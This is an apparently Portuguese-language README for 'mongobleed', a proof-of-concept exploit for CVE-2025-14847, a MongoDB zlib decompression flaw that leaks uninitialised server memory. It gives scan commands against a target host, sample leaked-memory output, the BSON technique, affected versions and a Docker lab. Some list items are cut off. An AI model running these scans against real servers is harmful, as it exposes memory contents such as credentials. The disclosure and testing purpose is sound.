
Prova de conceito de exploração para o CVE-2025-14847, uma vulnerabilidade de descompressão zlib do MongoDB que vaza memória do servidor não inicializada por meio de documentos BSON manipulados.
CVE-2025-14847 - Exploit de Vazamento de Memória Não Autenticado do MongoDB
Um exploit de prova de conceito para a vulnerabilidade de descompressão zlib do MongoDB que permite que atacantes não autenticados vazem memória sensível do servidor.
Uma falha na descompressão de mensagens zlib do MongoDB retorna o tamanho do buffer alocado em vez do comprimento real dos dados descomprimidos. Isso permite que atacantes leiam memória não inicializada ao:
uncompressedSize| Versão | Afetada | Corrigida |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
Um arquivo Docker Compose está incluído para iniciar uma instância vulnerável do MongoDB:
docker-compose up -d
python3 mongobleed.py
O exploit cria documentos BSON com campos de comprimento inflados. Quando o servidor analisa esses documentos, lê nomes de campos da memória não inicializada até atingir um byte nulo. Cada sonda em um deslocamento diferente pode vazar diferentes regiões de memória.
Os dados vazados podem incluir:
/proc (meminfo, estatísticas de rede)Joe Desimone - x.com/dez_
Esta ferramenta é apenas para testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal.
| Opção | Padrão | Descrição |
|---|
--host | localhost | Host MongoDB alvo |
--port | 27017 | Porta MongoDB alvo |
--min-offset | 20 | Comprimento mínimo do documento a testar |
--max-offset | 8192 | Comprimento máximo do documento a testar |
--output | leaked.bin | Arquivo de saída para dados vazados |